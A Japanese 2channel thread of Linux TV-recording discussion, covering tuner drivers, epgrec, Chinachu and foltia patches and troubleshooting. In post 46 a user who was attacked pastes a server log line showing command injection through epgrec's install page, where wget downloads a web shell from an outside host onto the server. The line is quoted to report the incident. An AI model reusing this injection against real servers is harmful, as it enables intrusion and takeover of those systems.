2ちゃんねる スマホ用 ■掲示板に戻る■ 全部 1- 最新50    

■ このスレッドは過去ログ倉庫に格納されています

【視聴・録画】Linuxでテレビ総合9【デジタル/アナログ】

1 :login:Penguin:2014/01/05(日) 14:43:09.35 ID:Nliy8HmL.net
Linuxでのテレビ視聴・録画に関して、デジタル/アナログ問わず扱うスレッド

【関連スレ】
【自家製】MythTV Part.3【HDDビデオ】
http://engawa.2ch.net/test/read.cgi/linux/1223721998/
【BT878】Linuxでのキャプチャを語るスレ
http://engawa.2ch.net/test/read.cgi/linux/1017186805/

【前スレ】
【視聴・録画】Linuxでテレビ総合8【デジタル/アナログ】
http://engawa.2ch.net/test/read.cgi/linux/1359268284/

【過去スレ】
【視聴・録画】Linuxでテレビ総合7【デジタル/アナログ】
http://engawa.2ch.net/test/read.cgi/linux/1342343650/
【視聴・録画】Linuxでテレビ総合6【デジタル/アナログ】
http://engawa.2ch.net/test/read.cgi/linux/1326804531/
【視聴・録画】Linuxでテレビ総合5【デジタル/アナログ】
http://engawa.2ch.net/test/read.cgi/linux/1309182037/
【視聴・録画】Linuxでテレビ総合4【デジタル/アナログ】
http://hibari.2ch.net/test/read.cgi/linux/1293388638/
【視聴・録画】Linuxでテレビ総合3【デジタル/アナログ】
http://hibari.2ch.net/test/read.cgi/linux/1269999876/
【視聴・録画】Linuxでテレビ総合2【デジタル/アナログ】
http://pc11.2ch.net/test/read.cgi/linux/1253880711/
【視聴・録画】Linuxでテレビ総合【デジタル/アナログ】
http://pc11.2ch.net/test/read.cgi/linux/1231189481/
Linuxでテレビを見る
http://pc11.2ch.net/test/read.cgi/linux/1013649811/

2 :login:Penguin:2014/01/05(日) 17:04:17.91 ID:wL0uVB1N.net


3 :login:Penguin:2014/01/06(月) 22:16:25.20 ID:XGM+a2iM.net
誰も貼る様子無いので。前スレ >>2 相当。リンク切れとか確認してないです。

PT1 driver
http://hg.honeyplanet.jp/pt1/
http://hg.honeyplanet.jp/pt1.oyama/
http://sourceforge.jp/projects/pt1dvr/

v4l-dvb (pt1 driver dvb)
http://www.linuxtv.org/hg/v4l-dvb

Linux用DVBアプリ集、等々(閉鎖)
http://2sen.dip.jp/dtv/
ミラー?
http://www3.wazoku.net/2sen/
2sen関連はこちらでどうぞ
【閉鎖】2sen補完計画【逃げ出した後】
http://toro.2ch.net/test/read.cgi/avi/1341202581/
2senの代わりを・・・
http://toro.2ch.net/test/read.cgi/avi/1340518755/

epgrec
http://www.mda.or.jp/epgrec/
http://sourceforge.jp/projects/epgrec/
foltia
http://www.dcc-jpl.com/soft/foltia/
rec10
http://www.rec10.org/xoops/
torec
https://github.com/k-k1/torec/
Chinachu
http://akkar.in/projects/chinachu/
https://github.com/kanreisa/Chinachu/

4 :login:Penguin:2014/01/06(月) 22:53:28.42 ID:YLMNViP5.net
PT3 driver
https://github.com/m-tsudo/pt3

5 :login:Penguin:2014/01/06(月) 23:53:00.01 ID:3XX4RO8S.net
Foltia ANIME LOCKERを使っている人に質問させてください。

FoltiaをインストールしたPCのCPUが推奨より低いのが原因なのかもしれないのですが、
ライブ配信を視聴した場合のみ、動画がカクツキます。
推奨以上のCPUをお使いの方でも、このような症状は出ていますでしょうか?

なお、カクツキはビットレートに関係なく発生しています。
また、再生側のPCは高性能なグラフィックスカードを使っているので、再生側の問題ではないと思います。

6 :login:Penguin:2014/01/07(火) 03:42:38.99 ID:i72D8FNH.net
ライブ視聴機能を追加 by toriimiyukki · Pull Request #74 · kanreisa/Chinachu
https://github.com/kanreisa/Chinachu/pull/74
よさそう?

7 :login:Penguin:2014/01/07(火) 06:58:18.13 ID:RqUT09u+.net
Chinachuって番組表見づらいんだよね
それ以外は良いんだけど

8 :login:Penguin:2014/01/07(火) 07:37:47.79 ID:7iKxMtgJ.net
>>7
もうすぐ新聞欄っぽくなるってコミケでいってたよ
海外の形式にあわせてたんだとさ

9 :login:Penguin:2014/01/07(火) 21:01:02.56 ID:i72D8FNH.net
Chinachu, lock ファイル自作じゃなくて /proc/\d+/fd/\d+ 全部舐めるのダメなんかね。

10 :login:Penguin:2014/01/07(火) 21:20:19.35 ID:VhqpS2YZ.net
スレ違いなのは重々承知です。
Mediatombに関するスレが見つからなかったので、識者が多そうな
ここに書き込ませていただきます。
適切な場所があれば、誘導頂けると幸いです。

Mediatombが最近になって、起動後何分か経つとDLNAクライアントから
認識されなくなります。
サービスの再起動を行うと一時的に治るのですが。。。
何か思い当たることはありませんでしょうか。。
ログなど見ても特にエラーもなくて困っております。

11 :login:Penguin:2014/01/07(火) 22:24:49.93 ID:G+B7A32S.net
>>9
プロセスがファイルを開いてるかどうかの情報をどうやってlock代わりにするのかイマイチ謎なのだが

12 :login:Penguin:2014/01/07(火) 22:31:12.92 ID:G+B7A32S.net
しかしlockファイルにはそのロックしてる子プロセス(Chinachuの場合チューナ)のPIDを入れたらいいなと思う
operator起動時にそのPIDがシステムに存在しなければ安全に(=自動的に)そのlockファイルを消せるから

13 :login:Penguin:2014/01/08(水) 00:12:40.54 ID:cgl+6B/Q.net
>>5
自己レスですが、いろいろ調べた結果、カードリーダー読み込みの遅さがカクカクに影響しているようでした。
カードリーダを交換したところ、カクカクがだいぶ改善されました。
CPUの遅さも影響しているものと思います。
(perlで書かれているsegmenterというプログラムのパフォーマンスが悪い可能性もあるような)

その他に、環境の問題かもしれないですが、ライブ配信に失敗することが多々ありました。
原因を調べると、recpt1とffmpegとの間のFIFOにデータが書き込まれる前に、ffmpegが動き出すことがあることが原因でした。

/home/foltia/perl/live_process_starter.pl
の200行目に付近に以下の用のようにsleepを入れると安定するようです。
同じ症状の方の参考になれば。

#srcflagがfileだったらpgrep tailしてDB追加
if ($srcflag eq "file"){
- sleep (2);#起動待ち
+ sleep (3);#起動待ち
.....
+ sleep(1);
exec($ff_segmenter_execcmd);

14 :12:2014/01/08(水) 00:21:39.80 ID:cgl+6B/Q.net
>>13
すいません、一点修正です。
segmenterは、perlではなくバイナリでした。

15 :login:Penguin:2014/01/08(水) 00:57:01.92 ID:nM1ah1Qm.net
いちおつ

16 :login:Penguin:2014/01/08(水) 01:50:08.81 ID:EVb8G25N.net
>>11
例えば /dev/pt3video2 開いてる奴いたら、それ使って録画/ライブ視聴したら
マズそうっての分かりそうだけどダメかね。
Chinachu 以外に使ってるヤツいる場合にも対応できるし。

lock ファイル残る問題は >>12 やり方のほうが改変少なくて良さそうだけど。

17 :login:Penguin:2014/01/08(水) 07:51:46.14 ID:op/x5jfx.net
使ってるところを他から触ってドロップされたりエラーで落ちられたら困るw

18 :login:Penguin:2014/01/08(水) 15:18:50.72 ID:wE2BBIfR.net
>>16
Chinachuは専用の実行ユーザを作るのが(たぶん)推奨されてるので
その情報はチューナの実行ユーザが違うだけで取れないからキツイと思う
デバイス名は流動的だし、必ずしもデバイスファイルを経由する作りとも限らんし(共有メモリetc)

19 :login:Penguin:2014/01/08(水) 20:42:29.82 ID:wE2BBIfR.net
>>6
どこからこの機能呼び出すんだろうって思ったらそこかー…てなった
機能的にはかなり良い

20 :login:Penguin:2014/01/08(水) 21:24:54.80 ID:EVb8G25N.net
>>18
たしかにそのとおりだ。全然ダメだ。

21 :login:Penguin:2014/01/09(木) 08:00:57.79 ID:7yUYpCp/.net
グループが一緒なら取れる。
というか、何のためにグループがあるのかとw

22 :login:Penguin:2014/01/09(木) 09:08:33.11 ID:hxuaDYvF.net
>>21
普通デーモンと一般ユーザは同じグループに置かんです
さらに /proc/{pid}/fd/ は500なので置こうが置くまいが取れんです

23 :login:Penguin:2014/01/09(木) 12:53:41.10 ID:oS3R4CNW.net
fuser /dev/dvb/adapter0/frontend0
みたいのはうまくいかないのかな
グループはサーバにもユーザにも共通のグループをそれぞれ追加すればいいと思うけど (videoみたいな)

24 :login:Penguin:2014/01/09(木) 21:13:08.64 ID:hxuaDYvF.net
>>23
同じこと。rootとそれ以外のユーザで`fuser /`でもしてみれば分かる
プロセスが特定のファイルを開くタイミングを公開したらクラックのための良いヒントを与えちゃう訳で
多分どうやったって取得できない

25 :login:Penguin:2014/01/09(木) 23:22:32.95 ID:R4+wlVID.net
デバイスファイルを開いてみて、
失敗すれば、既に誰かが開いていると思う、っていうんじゃ駄目なんだっけ?

26 :login:Penguin:2014/01/09(木) 23:33:49.50 ID:R4+wlVID.net
/proc/~~/fd/を舐めるなら、lsofを使った方が良いかも?
まあ、結局、パーミッションの問題があるか。
lsofコマンドだけはノンパスでsudoできるように設定させるとか。
$ sudo lsof /dev/pt3video*

それも嫌であれば、PT3のドライバに10行くらい書き足せば、
sysfs経由で既にデバイスがオープン済みかどうかを公開できそう。

いちおう、PT3のドライバを見る限り、多重オープンされた場合には、
後からオープンした方は失敗するようになっているみたいだけれど。

27 :login:Penguin:2014/01/10(金) 03:00:07.48 ID:cHyNmCIZ.net
もういっそWindowsのspinelやvirtualPTあたりみたいに任せて自動管理させよう

28 :login:Penguin:2014/01/10(金) 08:46:15.74 ID:CKrvo/EQ.net
仲介するユーザーとか作ればいいのに。
とか言ってみるw

29 :login:Penguin:2014/01/10(金) 09:27:03.43 ID:NccUa54l.net
/dev/pt3video*のパーミッションの問題なら、udevの設定いじればいいじゃん。

30 :login:Penguin:2014/01/10(金) 09:55:55.90 ID:CKrvo/EQ.net
rw-rw----かrw-r-----だよねw

31 :login:Penguin:2014/01/10(金) 10:59:35.94 ID:b7PTZOIz.net
いろんなチューナに柔軟に対応するために
"チューナプロセスの標準出力を使う"っていうシンプルな形になってるのに
チューナプロセスが使うデバイスを確認するなんていう工程を入れようとするのはそもそも筋が悪い

32 :login:Penguin:2014/01/10(金) 20:48:23.84 ID:oYgup2LA.net
chinachuで金曜ロードSHOW!の放映タイトルわからない。
今日の例で言うと

タイトル:金曜ロードSHOW!
説明:ブルース・ウィリス演じる“世界で一番運が悪くて一番タフな男”マクレーン警部補が登場!サイバー・テロVSアナログ刑事が繰り広げる痛快ノンストップ・アクション大作。

でこの映画のタイトルは?となっている

33 :login:Penguin:2014/01/10(金) 21:31:11.52 ID:2kGOq0c5.net
>>32
ちょっとワロタ

https://github.com/kanreisa/Chinachu/blob/master/app-scheduler.js#L288-295
ここでサブタイトルとして抽出されてしまってるんかね。

このクソみたいな EPG 滅びて欲しいですね。

34 :login:Penguin:2014/01/10(金) 21:49:12.00 ID:YUVdEZLb.net
悪いのはEPGではなく放送局だよ

35 :login:Penguin:2014/01/10(金) 22:04:19.91 ID:2kGOq0c5.net
schedule.json 見たけど、やっぱり
"subTitle": "ダイ・ハード4.0",
"fullTitle": "金曜ロードSHOW! 「ダイ・ハード4.0」【二】【字】【デ】",
ってなってた。どうするんだろ。

>>34
もちろん、直接的には放送局がタイトルのフォーマットを統一しないせいで、
app-scheduler.js みたいな悪夢のような置換・抽出処理が必要になってるんだけど、
大元はEPGの規格がショボイせいじゃないかなぁって思ってる。
エピソード番号やサブタイトル、新/二/字/デ/再フラグを構造的に
持っていてくれたら良かったのにって思う。
それでも放送局が妙な運用する可能性はあるんだろうけど。

36 :login:Penguin:2014/01/10(金) 22:46:22.93 ID:q1Q3oZCY.net
そういえば前にgstreamerのSPDIFパススルーライブラリ作るって
言ってた人が居た気がするんだけど、成果でてるのだろうか。
特に無いなら、作ってみようかなぁと妄想中。

37 :login:Penguin:2014/01/11(土) 11:54:49.14 ID:scTTvrJ0.net
gstreamerのプラグインのコードって、けっこうドロドロしてると思うわ。

38 :login:Penguin:2014/01/11(土) 13:29:29.13 ID:mpThlGz/.net
>>36
もう本家にマージ済みだよ
pulseaudioにも対応が必要だから最新版が必要だけど

39 :login:Penguin:2014/01/13(月) 01:50:20.80 ID:HJ4V0De5.net
DVB向けのISDBパッチ mplayer/gstreamer/DVBアプリ

https://github.com/0p1pp1

descramble機能は外部ライブラリに出してあります
mplayerは字幕対応, gstreamerは1.2系への移植が中心です

40 :login:Penguin:2014/01/13(月) 11:21:44.11 ID:+Y9WGtps.net
つか、日テレ系だけが変なんじゃね?

41 :13:2014/01/14(火) 22:40:19.02 ID:iuCZBQPA.net
foltia anime lockerを使っていて、幾つか明らかなバグを見つけたので、
ここにメモしておきます。

1.放送波が正しく取得できないチャンネルをライブストリーミングした後に、
ストリーミングを停止しようとしても、recpt1が停止できない。
(表示上は停止したように見えるが、実際にはrecpt1がチューナーを占有したままになる)

stoplivestreamingkill()内を以下のように修正
- system("kill $processid");
+ system("kill -KILL $processid");

2.ライブストリーミングにコーミングノイズが乗る

perl/live_process_starter.pl内
$ffmpegcmdが10個書かれているので、"-deinterlace"をそれぞれに追加する。

42 :login:Penguin:2014/01/15(水) 23:56:27.92 ID:uhNoED7z.net
放送局が途中でタイトル変えて、録画失敗をきっかけに見なくなる番組、多いよね

43 :login:Penguin:2014/01/16(木) 12:32:49.26 ID:j9cSF3xR.net
>>41
元のソースは全然見てないけど、何でsystem()経由でkill呼んでんだろな?
直接kill()叩けば良さそうなのに。

44 :login:Penguin:2014/01/16(木) 18:26:03.31 ID:+76kzaoL.net
chinachuの番組表変更まだまだかなあ

45 :login:Penguin:2014/01/16(木) 20:45:36.60 ID:TMxEKoMu.net
うわ最悪、epgrecに変なファイル置かれた…。
パスワード認証もかけてたんだけどどこから入ったんだろう…。

46 :login:Penguin:2014/01/16(木) 21:00:58.77 ID:TMxEKoMu.net
と思ったらドメイン経由だとかかってたけどIPアドレス直打ちだとかかってなかった

87.181.247.107 - - [12/Jan/2014:17:51:44 +0900] "GET /epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol HTTP/1.1" 200 148
"-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"

47 :login:Penguin:2014/01/16(木) 21:39:44.78 ID:6RzBiSOm.net
>>43
何でだろうね?
正直、特に理由はない気がする。

Foltiaのコードは、難読処理かと疑うほどグチャグチャだからなぁ。
似たようなコードや定義がたくさんあったり。
良くあれで、システム全体として破綻せずに動いていると感動する。

48 :login:Penguin:2014/01/16(木) 22:04:42.21 ID:YCJMj0m9.net
神は最初の1日はLispを使ったが、残りの6日はPerlを使ったと言われる
Perlならしかたない

49 :login:Penguin:2014/01/17(金) 05:48:54.17 ID:R+FZTsYf.net
>>46のドメインでぐぐったら http://gesopls.de/abc/ とか出てきた
もしかしてアニメのts確保するために乗っ取ってるのかな?

50 :login:Penguin:2014/01/17(金) 11:54:50.10 ID:SLEIzD9y.net
> step5.php?script=;wget
ちょw 入力のsanitizeせずにそのまま実行してるのか
それになんでlocalhostからの接続だけに制限してSSHトンネルでつながないんだ?

51 :login:Penguin:2014/01/17(金) 20:28:35.23 ID:zaHlRndY.net
>>46がニュー速(嫌儲)でスレたってた

52 :login:Penguin:2014/01/17(金) 22:37:40.94 ID:dUWADpoD.net
関西までカバーしてすげーなーって思ってたらお前らのPC使ってたのか

53 :login:Penguin:2014/01/17(金) 23:55:54.27 ID:TeEJ/D2z.net
この事実が今まで明らかにされてなかったのも驚きだわ
誰かが推測ぐらいしなかったの?

54 :login:Penguin:2014/01/18(土) 00:17:07.43 ID:NhIdSgfQ.net
epgrecUNAの穴は、これが始めて
本家の方は別の所に穴がある

55 :login:Penguin:2014/01/18(土) 00:28:23.44 ID:qAc8fKwR.net
嫌儲から来ましたでw

【速報】torrentアニメのtsファイルの出元が判明
http://engawa.2ch.net/test/read.cgi/poverty/1389955316/

56 :login:Penguin:2014/01/18(土) 00:49:31.64 ID:95/a8dAX.net
どっちにしろepgrecみたいな奴は外部公開すると著作権的にまずいような。まあ今回の>>46はミスなんだけど。
この手の脆弱性は塞ぐべきだとは思うけど、それ以前に外に出てる時点でアウトだからなあ

57 :login:Penguin:2014/01/18(土) 00:59:58.90 ID:CCo7xX3k.net
>この手の脆弱性は塞ぐべきだとは思うけど、
>>46の書き込みから2時間で修正されたw

58 :login:Penguin:2014/01/18(土) 04:08:57.26 ID:NW62jkPb.net
はじめまして。質問があります。
http://transitive.info/2012/10/22/ubuntu-pt3-epgrec/
を読んで、Ubuntu 12.04TLS+PT3で録画サーバを構築したのですが、
EPGrecのCS(フジテレビNEXT等)のEPGデータが取得出来ません。
これはどうすれば解消しますか?

59 :login:Penguin:2014/01/18(土) 06:36:10.89 ID:uFIdaF9o.net
>>58
epgrec派生版のどれかとそれに対応したepgdump等を導入し直す
config.phpとepgdumpのソースを直してもいいけど面倒

60 :login:Penguin:2014/01/18(土) 08:10:31.82 ID:TuTjURbU.net
>>58
ドライバ、LNBの通電設定を変更しないでいきなりmakeしてるけど、デフォで通電なの?

61 :login:Penguin:2014/01/18(土) 16:31:47.21 ID:uFIdaF9o.net
テレビやレコが常時通電だったり
混合線でブースターが供給してたり

62 :login:Penguin:2014/01/18(土) 16:48:08.99 ID:yxpY1Oor.net
デフォルトOFFで録画コマンド側でON/OFFするのが普通じゃないのか

63 :login:Penguin:2014/01/18(土) 18:18:45.08 ID:TuTjURbU.net
通電しなけりゃbs,csは受信できない。
言うまでもないと思ったんだけど。

64 :login:Penguin:2014/01/18(土) 21:48:50.74 ID:UbK5f+zj.net
>>63
アンテナに繋がっている機械のどれかが
通電していれば受信できるよ。
もちろんテレビでもビデオでもなんでいい

それがマンションとかの共同アンテナであれば
自分の家の誰かが通電していればいい。
というか共同アンテナの場合は専用の機械が電気を供給しているが。

これこそ、意味までもないと思ったんだけど、
知らなかったんでしょ?

65 :58:2014/01/20(月) 20:44:28.59 ID:6DK7l9bo.net
epgrec UNA は、BSチャンネルのEPG情報が取れません。
(地デジ/CSは取れる)
不思議です。元祖epgrecにパッチを当てる場合、
どこにどう修正すれば良いのか教えてください。

66 :login:Penguin:2014/01/21(火) 10:40:43.93 ID:w8mVfZK4.net
なんかトレンドマイクロから、なんの前触れもなしに
/egrec/video/ への単発アクセスが来たんだけど
>>46 の影響だろうか
みんなも気を付けて

67 :login:Penguin:2014/01/21(火) 11:50:00.87 ID:zyBuA5AI.net
トレンドマイクロ「チラッ・・・・・・・・・・・・ぷっ」

68 :login:Penguin:2014/01/21(火) 16:34:14.81 ID:KzdAegN3.net
http://hg.honeyplanet.jp/pt1/
500 Internal Server Error

つながらない

69 :login:Penguin:2014/01/25(土) 08:44:08.78 ID:JLtcG7D4.net
スレ違い立ったらごめんなさい。質問です。手持で遊ばせてるBIOSTAR NM70I-847にDDR3-1066 2GB + SSD 30GB(システムインストール用) + HDD 1TB(録画領域用)に
PT3 + ANIME LOCKER 3.0をプラスして録画専用機を構築検討していますがスペック的問題とかデメリットとかあるでしょうか?

エンコは外部のメイン使用のPCで行うこと前提で考えているので基本録画オンリーですがご意見よろしくお願いします。

70 :login:Penguin:2014/01/25(土) 08:57:10.91 ID:ewPuFLtx.net
構成はバランスいいんじゃね?
バックグラウンドでエンコも任せて良いくらい

71 :login:Penguin:2014/01/25(土) 09:10:55.20 ID:K6o7/7LL.net
SSDがもったいない気がするぐらいかな
30GBってことは古いお下がりなんだろうけど、ANIMEROCKER(以下AL)って起動はHDDでもそんなに重くないし。
まぁ、先ずは評価版入れて試してみれ。
チューナー笹ってなくともインスコはできるでな。

エンコまで任せるとちと辛いんじゃなかと?
録画オンリーなら問題ないけども。

72 :login:Penguin:2014/01/25(土) 10:57:16.69 ID:JLtcG7D4.net
>>70 >>71
参考意見有難うございます。実は現状はメイン使用PCにアキバストックのAKB-PCR20X/ブルドッグ・チューナーを使っているのですが
NM70I-847の方が遊んでるので使い道を模索しててブルドックチューナーよりよりメジャーで高機能なPT3が良いかなった思ったのがきっかけでした。
評価版試して良さそうなら導入したいと思います。

73 :login:Penguin:2014/01/25(土) 16:27:19.61 ID:lr9j2vN4.net
foltiaALはシステム領域DISKは16GBで
残りはLVMにぶち込まれてしまう

SSDの残りの部分を手動でlvmから削除するオペレーションが必要だよ

74 :login:Penguin:2014/01/25(土) 17:34:23.41 ID:JLtcG7D4.net
>>73
いまいち良くわからないのですが、方法は簡単ですか?
それともSSD抜きにして1TB HDDにシステムと録画領域をまとめた方が楽ですか?

75 :login:Penguin:2014/01/25(土) 18:11:50.94 ID:K6o7/7LL.net
>>74
適当にまとめると
「SSD入れても特に快適になる訳でもない上に、SSD上にも録画領域が作られて邪魔くさい。」
なので、SSD上の録画領域のパーティションを使わず、録画はSSDだけにまとめるといい。
もしくは、最初からHDD1台構成でやる方が楽。

一応ALの設定上に、録画パーティションを設定する項目があるんだが、HDD追加して/dev/sdb1ってな具合で設定して見たら、パーティション情報おかしくなって起動しなくなった。

なお、環境をVirtualBoxで試したので、それのせいかもしんない。

76 :login:Penguin:2014/01/25(土) 22:29:05.39 ID:zVA12iY3.net
Foltiaノバアイ、一台目のHDDは、2T以下の容量でなければならないので、
HDD一台でやるなら、注意が必要。

77 :login:Penguin:2014/01/25(土) 23:09:23.50 ID:JLtcG7D4.net
>>75 >>76
丁寧な解説と情報感謝します。
SSD抜きにしてHDDオンリーの構成で行くのがベストっぽいですね。取り敢えず初期段階では1TBのHDD1代からスタートなので
後々は増設する形で行きます。

78 :login:Penguin:2014/01/26(日) 02:06:09.04 ID:hGPyJQ1r.net
また宣伝?

79 :login:Penguin:2014/01/26(日) 10:12:18.16 ID:AVSN5kXQ.net
ぶっちゃけ宣伝するほど完成度高くは無いから、PT3ならepgrecとかchinachu使う方が幸せになれるかも知れん。っていうか幸せだ。

W3PEをLinuxで使いたい俺の如き情弱ならAL使っとけってぐらい。

80 :login:Penguin:2014/01/26(日) 19:11:34.10 ID:pbaHHkpd.net
foltiaALってCentos5ベースなんだろうか
だとしたら早く6系使わせてあげろよと思う

81 :login:Penguin:2014/01/26(日) 19:29:20.43 ID:AVSN5kXQ.net
俺の気が確かならインストールCDが5.10で、中身が6.4だった気がする

82 :login:Penguin:2014/01/27(月) 00:11:36.10 ID:w16bGGNC.net
recpt1の本家が落ちてるけど、どっかにミラーとかないかなあ。
STZ版使ってchinachu入れてみたんだけどうまく動いてくれないから本家でやりたいんだけど。。。

83 :login:Penguin:2014/01/27(月) 23:10:52.82 ID:IIGxyOzQ.net
>>82
stz版recpt1でchinachu動かせてるけど。

一週間くらい前にUbuntu 12.04.3 LTS鯖でchinachu構築したときに
本家のMercurial落ちてたからstz版使ってるけど問題ない感じ。

arib25が手に入らないってオチ?

84 :login:Penguin:2014/01/27(月) 23:30:34.93 ID:C8BBGFcN.net
foltiaALのサーバに公開されてるよ

85 :login:Penguin:2014/01/27(月) 23:55:25.56 ID:6iEdPdvb.net
バカには無理。

86 :login:Penguin:2014/01/28(火) 00:35:57.27 ID:Vqqb9JkL.net
>>83
情報ありがとう、STZ版でも問題ないのね。
番組表が取得できない状態なんでチャンネル設定いじくりまわしてるんだけど
どうにもうまくいかなかったからrecpt1疑ってたけど、STZの中の人ごめんなさい。
もうちょっといろいろやってみますわ。

87 :login:Penguin:2014/01/28(火) 01:23:26.51 ID:fmaEuR5q.net
recpt1から録画したtsから、
番組情報を取り出すコマンドなかったっけ?
何か試したことがある気がする。

88 :login:Penguin:2014/01/28(火) 02:28:41.50 ID:gQCWNFPh.net
"schedulerEpgRecordTime" : 120,
これじゃないニカ?

89 :83:2014/01/28(火) 08:07:43.39 ID:mwKUoJzF.net
>>86
config.jsonは正しく設定できてる?
地デジの物理チャンネルとか

90 :83:2014/01/28(火) 08:11:02.66 ID:mwKUoJzF.net
うちのconfig,jsonは
http://gedit.blog40.fc2.com/blog-entry-109.html
の設定を適用して、
地デジの物理チャンネルは地元用に書き換えた。

91 :login:Penguin:2014/01/28(火) 08:35:51.19 ID:Q/AAaHhl.net
遅レス
>>74
lvmからのDisk領域(PV:物理ボリューム)の削除方法
(正確にはVGからのPVの削除方法)
http://itneko.blogspot.jp/2010/08/lvm-vgpv.html
foltiaALの場合は削除対象は /dev/sda2 になると思う

面倒はあるが
システム領域を別Diskにしておくメリットもあって、
録画用Diskを例えば4TBに「入れ替え」る時に
一度4TBのDiskを既存のVGに追加してから
既存Diskを削除することで
取り外しができるようになる

92 :login:Penguin:2014/01/28(火) 15:12:23.51 ID:i/Chz2Q/.net
Chinachu、確かに使えてるのだけど
肝心のダッシュボードの色がピンクじゃなくて白くなるのは何故だろう?設定いじっちゃった?

93 :login:Penguin:2014/01/28(火) 22:11:50.74 ID:cON58LIo.net
>>92
最新版では変更があった。
番組表やルールがある欄はピンクに、
メイン(予約済みの番組名が表示される)部分は白色に、
右側の録画済み番組名が表示される部分は黒にレイアウト等が変更された。

94 :login:Penguin:2014/01/29(水) 08:18:53.12 ID:1tk72Hye.net
ちなちゅの番組表歯抜けになるー
epgrecだと大丈夫なのに。。

95 :login:Penguin:2014/01/30(木) 00:05:24.74 ID:0pS3ovzm.net
https://github.com/m-tsudo/pt3/commit/3e315b5033063a7969f054807a6c5fb82ab24ba9
半年ぶりのpt3のコミットだ

96 :login:Penguin:2014/01/30(木) 09:17:03.22 ID:+Tp/VcQn.net
ああ、俺これと同じ修正自分で入れて使ってたわ

97 :login:Penguin:2014/01/30(木) 19:43:26.90 ID:7PPlMg03.net
今回、PCが壊れて、UBUNTU12.04をインストールしたPCにepgrecUNAをインストールしました。
最初のインストール画面が出てこないのです。
インストール先は、/var/www/epgrecと言う普通の構成です。
Apatchとphpは、wwwにおいたindex.htmlとphpファイルは、ブラウザーから見れたので、大丈夫だと思うのですが、http://127.0.0.1/epgrec/を立ち上げでも何も出てこないです。
何か解決策のヒントをいただけないでしょうか。

98 :96:2014/01/30(木) 20:00:18.25 ID:7PPlMg03.net
phpは、index.phpとした場合、/127.0.0.1/index.phpまで指定すると見れますが
index.htmlの代わりに置いても、/127.0.0.1/では、見れませんでした。

99 :login:Penguin:2014/01/30(木) 20:06:32.00 ID:G/f7vJHq.net
>>98
Apacheの設定
DirectoryIndexにindex.phpを追加

100 :login:Penguin:2014/01/30(木) 20:13:48.24 ID:drdArhFp.net
ドキュンルートが/var/www/でねーとだべ

101 :login:Penguin:2014/01/30(木) 20:36:23.44 ID:K02btsnZ.net
index.phpの編集ミス

102 :login:Penguin:2014/01/30(木) 20:55:15.57 ID:4ZcVEY3O.net
config.phpが無いオチとか。

103 :login:Penguin:2014/01/30(木) 21:03:00.30 ID:K02btsnZ.net
>>101間違えた   orz
×index.phpの編集ミス
○config.phpの編集ミス

104 :96:2014/01/30(木) 21:29:40.29 ID:7PPlMg03.net
DirectoryIndexを確認しましたが、index.phpの記載はありました。念のため、先頭にしました。
var.www直下においた確認用のindex.phpは動きました。
しかし、epgrecに置くと直接指定しても反応してないようです。
epgrec下のindex.phpは、配布されているもので特に変更していません。
cofig.phpは、チャンネル設定とTRUEの変更をしただけです。

105 :97:2014/01/30(木) 21:33:54.79 ID:7PPlMg03.net
96じゃなくて、97でしたorz

epgrecのindex.phpをwww直下に置いてみると、fileがないので動きませんが、install/step1.phpにアドレス替わっていました。

106 :97:2014/01/30(木) 22:30:14.72 ID:7PPlMg03.net
1からやり直してみます。
御助言していただいた方ありがとうございました

107 :login:Penguin:2014/01/31(金) 02:54:32.26 ID:hLD936p5.net
Chinachu で予約衝突することがしばらくなくて、さっきほど久しぶりに衝突してるのに気がついた。
昔に比べるとえらく予約衝突がわかりにくくなってるんだな。

108 :login:Penguin:2014/01/31(金) 08:08:23.58 ID:c4LUabXr.net
ちなちゅは一回入れてみたけど
予約のやり方が独特すぐて馴染めずにepgrecに戻ろうと思ったけど
せっかくだからUNAにした

109 :login:Penguin:2014/01/31(金) 20:34:58.77 ID:0PBYiCdE.net
PT3を4枚積んだ全録サーバを作った。

1. recpt1から標準出力を介して、splitでTSを約10MBずつ分割。
2. epgdumpで放送局ごとにEPGデータをためておく。
3. HTTPでクライアント側はEPGを読み、それに対応するTSファイルを落として繋げる。
4. パッチを当てたVLCKit(OSX向けフレームワーク)を利用して再生する。

Macでテレビを見たいが故に、大げさなことになったよ。
遡って番組を見ることも可能だし、リアルタイム視聴もシンプルにできる。
地デジ7/BS5/CS3を常時録画して、ストレージ12TBで3日弱ぐらい。
同じようなことやってる人、いますか (´・ω・`)

110 :login:Penguin:2014/01/31(金) 22:43:24.22 ID:na8b6Daa.net
>>109
大げさすぎるwせっかくだから公開汁。

111 :login:Penguin:2014/02/01(土) 00:43:02.10 ID:T+lHd1Xk.net
確かにやってることはスゴイが活用できる気がしないw

112 :login:Penguin:2014/02/01(土) 09:10:31.11 ID:Dl7YsylQ.net
MacとかiOSにストリーミングする場合って、HTTP Live Streamingプロトコルでやらないといけないんだっけか

113 :login:Penguin:2014/02/01(土) 11:03:57.90 ID:P9KHltNZ.net
>>109
おーすごい。
いわゆるタイムシフトってやつだね。
ディスクのIOが足りるのか気になるなぁ。

114 :109:2014/02/01(土) 19:54:13.38 ID:sk0q5wzd.net
富士通PRIMERGY TX100に4TBのHDDを3台、メモリーは6GB積んでCentOS 6.4を入れてます。
スワップは利用しないよう設定しました。切らないとスラッシングを起こしてload averageが300越えしたので。

/etc/sysctl.confで
・vm.min_free_kbytes
・vm.dirty_ratio
・vm.swappiness
の値を試行錯誤しました。結果、load averageは1分で最悪1.5ほどに落ち着いたかな。
I/Oもなんとか追いついてるみたい。

シェルスクリプトとcronで回しただけのプロトタイプだから、公開するならすべて書き直しだわ。
アナログ時代にソニーのCoCoon(CSV-EX11)を使っていて、それを超えるものを作りたかった (´・ω・`)

115 :login:Penguin:2014/02/01(土) 21:54:23.07 ID:P9KHltNZ.net
foltiaALでmp4に変換したら音ズレしまくってで、コード読んでみたら29.97が至るところにハードコードされててワロタ

116 :login:Penguin:2014/02/01(土) 23:28:14.52 ID:5tgaqZqI.net
